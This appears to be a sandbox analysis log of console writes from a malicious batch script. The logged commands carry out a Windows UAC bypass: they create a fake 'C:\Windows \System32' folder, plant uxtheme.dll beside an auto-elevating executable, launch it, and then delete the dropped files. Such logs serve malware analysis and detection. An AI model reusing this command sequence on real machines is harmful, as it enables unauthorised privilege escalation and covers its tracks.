WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
C:\ProgramData>
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
mkdir
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
"\\?\C:\Windows "
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
C:\ProgramData>
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
mkdir
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
"\\?\C:\Windows \System32"
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
C:\ProgramData>
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
copy
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
"C:\Windows\System32\PasswordOnWakeSettingFlyout.exe" "C:\Windows \System32\"
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
The system cannot find the file specified.
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
C:\ProgramData>
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
copy
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
"uxtheme.dll" "C:\Windows \System32\"
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
1 file(s) copied.
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
C:\ProgramData>
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
"C:\Windows \System32\PasswordOnWakeSettingFlyout.exe"
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
'"C:\Windows \System32\PasswordOnWakeSettingFlyout.exe"' is not recognized as an internal or external command,
operable program or batch file.
console_handle:
0x000000000000000b
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
C:\ProgramData>
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
echo
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
[-] UAC Bypassed ?
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
[-] UAC Bypassed ?
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
C:\ProgramData>
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
TIMEOUT
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
/T 8
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
C:\ProgramData>
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
del
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
/s "C:\ProgramData\uxtheme.dll"
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
Deleted file - C:\ProgramData\uxtheme.dll
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
C:\ProgramData>
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
del
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
/s "C:\ProgramData\pass.exe"
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
Deleted file - C:\ProgramData\pass.exe
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
C:\ProgramData>
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
del
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
"C:\ProgramData\uacwev.bat"
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
The batch file cannot be found.
console_handle:
0x000000000000000b
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
Waiting for 8
console_handle:
0x0000000000000007
1
1
0
WriteConsoleW
March 22, 2021, 6:30 p.m.
buffer:
seconds, press a key to continue ...
console_handle:
0x0000000000000007
1
1
0